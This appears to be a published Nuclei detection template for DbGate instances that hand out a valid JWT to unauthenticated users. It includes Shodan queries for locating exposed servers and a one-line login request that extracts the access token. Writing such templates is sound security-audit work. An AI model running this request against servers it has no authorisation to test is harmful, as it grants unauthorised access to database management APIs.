dbgate-anonymous-access: DbGate Anonymous Access - Detection

2026-04-16 DbGate Anonymous Access PoC Public

Description

Detected DbGate instances that allowed anonymous access due to insecure default authentication settings, where unauthenticated users could obtain a valid JWT token and access database management APIs.

PoC

id: dbgate-anonymous-access

info:
  name: DbGate Anonymous Access - Detection
  author: benharvey-sage
  severity: high
  description: |
    Detected DbGate instances that allowed anonymous access due to insecure default authentication settings, where unauthenticated users could obtain a valid JWT token and access database management APIs.
  reference:
    - https://github.com/dbgate/dbgate
    - https://dbgate.io/
    - https://docs.dbgate.io/
  classification:
    cwe-id: CWE-1188
  metadata:
    verified: true
    max-request: 1
    vendor: dbgate
    product: dbgate
    shodan-query:
      - http.title:"DbGate"
      - http.favicon.hash:-1320884137,1198579728,361029891,-1421367029,1377130137,-1258062033
  tags: misconfig,exposure,unauth,anonymous,dbgate

http:
  - raw:
      - |
        POST /auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"amoid":"none"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"accessToken":"'

      - type: status
        status:
          - 200

    extractors:
      - type: json
        name: access_token
        part: body
        json:
          - '.accessToken'
# digest: 4a0a0047304502204c7707c5997ffe2cb5f347e9ba1168a25041b71ee35449a46935ee80af2e6ddf022100b536626f8b400173b9cee5cf706efe8b63f5be1608893af8cbf28037d8fb061f:922c64590222798bb761d5b6d8e72950

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